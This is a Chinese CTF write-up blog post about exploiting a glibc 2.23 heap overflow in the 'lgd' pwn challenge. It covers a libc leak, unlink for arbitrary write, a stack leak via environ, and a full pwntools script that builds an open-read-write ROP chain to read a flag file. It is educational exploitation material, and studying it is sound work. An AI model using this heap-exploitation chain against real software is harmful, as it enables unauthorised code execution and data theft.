目錄
  1. 1. 前言
  2. 2. 黑盒测试
    1. 2.1. 静态分析
    2. 2.2. 动态调试
  3. 3. 泄露libc
  4. 4. unlink
  5. 5. 泄露栈地址
  6. 6. orw
gxzyCTF pwn lgd

前言

经典的glibc2.23环境下的堆溢出,程序自带混淆,可以通过简单的黑盒测试确定程序的逻辑。禁掉了execev,可以在栈上构造orw,也可以通过栈迁移打orw。这里利用unlink进行任意地址读写,然后利用environ泄露栈地址,然后在栈上构造orw的ROP链。

黑盒测试

静态分析

通过静态分析可以发现,程序存在add、free、show、edit四个功能。

add:可以malloc大小为[0,0x1000]的堆块,conten并没有直接写进heap,而是放在大小为0x200的bss段中

free:正常free,有清零

show:正常

edit:可以发现edit的大小存放在bss段中

动态调试

可以发现,edit的大小与堆的大小没有关系,而是等于content的长度,因此可以堆溢出

泄露libc

有show,可以malloc smallbin,便可以泄露libc

1
2
3
4
5
6
sl("name?","kangel")
add(0x80,'0'*0x200)#0
add(0x10,'1'*0x200)#1
free(0)#-1
add(0x80,'0'*0x200)#1
show(0)

有smallbin和堆溢出,可以构造unlink

1
2
3
4
5
6
add(0x100,'2'*0x200)#2
add(0x100,'3'*0x200)#3
add(0x80,'4'*0x200)#4
to_fake=0x6032e0+0x10
edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110))
free(3) #-3 unlink

堆布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pwndbg> x/10gx 0x6032e0                                             
0x6032e0: 0x0000000000db8010 0x0000000000db80a0
0x6032f0: 0x0000000000db80c0 0x0000000000db81d0
0x603300: 0x0000000000db82e0 0x0000000000000000
0x603310: 0x0000000000000000 0x0000000000000000
0x603320: 0x0000000000000000 0x0000000000000000
pwndbg> x/40gx 0x0000000000db80c0
0xdb80c0: 0x0000000000000000 0x0000000000000101
0xdb80d0: 0x00000000006032d8 0x00000000006032e0
0xdb80e0: 0x0000000000000000 0x0000000000000000
0xdb80f0: 0x0000000000000000 0x0000000000000000
0xdb8100: 0x0000000000000000 0x0000000000000000
0xdb8110: 0x0000000000000000 0x0000000000000000
0xdb8120: 0x0000000000000000 0x0000000000000000
0xdb8130: 0x0000000000000000 0x0000000000000000
0xdb8140: 0x0000000000000000 0x0000000000000000
0xdb8150: 0x0000000000000000 0x0000000000000000
0xdb8160: 0x0000000000000000 0x0000000000000000
0xdb8170: 0x0000000000000000 0x0000000000000000
0xdb8180: 0x0000000000000000 0x0000000000000000
0xdb8190: 0x0000000000000000 0x0000000000000000
0xdb81a0: 0x0000000000000000 0x0000000000000000
0xdb81b0: 0x0000000000000000 0x0000000000000000
0xdb81c0: 0x0000000000000100 0x0000000000000110
0xdb81d0: 0x0000000000000000 0x0000000000000000
0xdb81e0: 0x0000000000000000 0x0000000000000000
0xdb81f0: 0x0000000000000000 0x0000000000000000

条件:bck->FD + 0x18 = bck ; bck->BK + 0x10 = bck

效果:bck = *bck - 0x18

泄露栈地址

可以利用environ进行泄露

1
2
3
4
5
6
environ=libc_base+libc.symbols['environ']
edit(2,p64(0)+p64(environ))
show(0)
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success("stack:"+hex(stack))
rbp_addr=stack-0x228

计算environ与edit函数中rbp的差值,因为利用edit往栈中写入数据后直接进行rop

orw

直接往rbp中注入rop链即可

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding=utf-8
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
context.terminal = ['tmux','split','-h']

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

r = lambda x: p.recvuntil(x)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

debug = 1
if debug:
p = process("./pwn")
else:
print "remote"

def add(size,content):
sl(">> ",str(1))
sl("______?\n",str(size))
s("yes_or_no?\n",content)

def free(idx):
sl(">> ",str(2))
sl("index ?\n",str(idx))

def show(idx):
sl(">> ",str(3))
sl("index ?\n",str(idx))

def edit(idx,content):
sl(">> ",str(4)),0
sl("index ?\n",str(idx))
s("new_content ?\n",content)

def gd():
gdb.attach(p)

sl("name?","kangel")
add(0x80,'0'*0x200)#0
add(0x10,'1'*0x200)#1
free(0)#-1
add(0x80,'0'*0x200)#1
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3c4b78
log.success("libc_base:"+hex(libc_base))
add(0x100,'2'*0x200)#2
add(0x100,'3'*0x200)#3
add(0x80,'4'*0x200)#4
to_fake=0x6032e0+0x10
edit(2,p64(0)+p64(0x101)+p64(to_fake-0x18)+p64(to_fake-0x10)+'\x00'*0xe0+p64(0x100)+p64(0x110))
free(3) #-3 unlink
environ=libc_base+libc.symbols['environ']
edit(2,p64(0)+p64(environ))
show(0)
stack = u64(p.recv(6).ljust(8,'\x00'))
log.success("stack:"+hex(stack))
rbp_addr=stack-0x228
edit(2,p64(0)+p64(rbp_addr))
prdi = 0x0000000000021102
prsi = 0x00000000000202e8
prdx = 0x0000000000001b92
prdi = libc_base + prdi
prsi = libc_base + prsi
prdx = libc_base + prdx
open = libc_base + libc.symbols['open']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
rop = './flag\x00\x00'
rop += p64(prdi)
rop += p64(rbp_addr)
rop += p64(prsi)
rop += p64(0)
rop += p64(open)
rop += p64(prdi)
rop += p64(0x3)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(read)
rop += p64(prdi)
rop += p64(1)
rop += p64(prsi)
rop += p64(rbp_addr + 0x500)
rop += p64(prdx)
rop += p64(0x50)
rop += p64(write)
#print rop
#pause()
gd()
edit(0,rop)
p.interactive()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2020/04/09/gxzyCTF-pwn-lgd/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL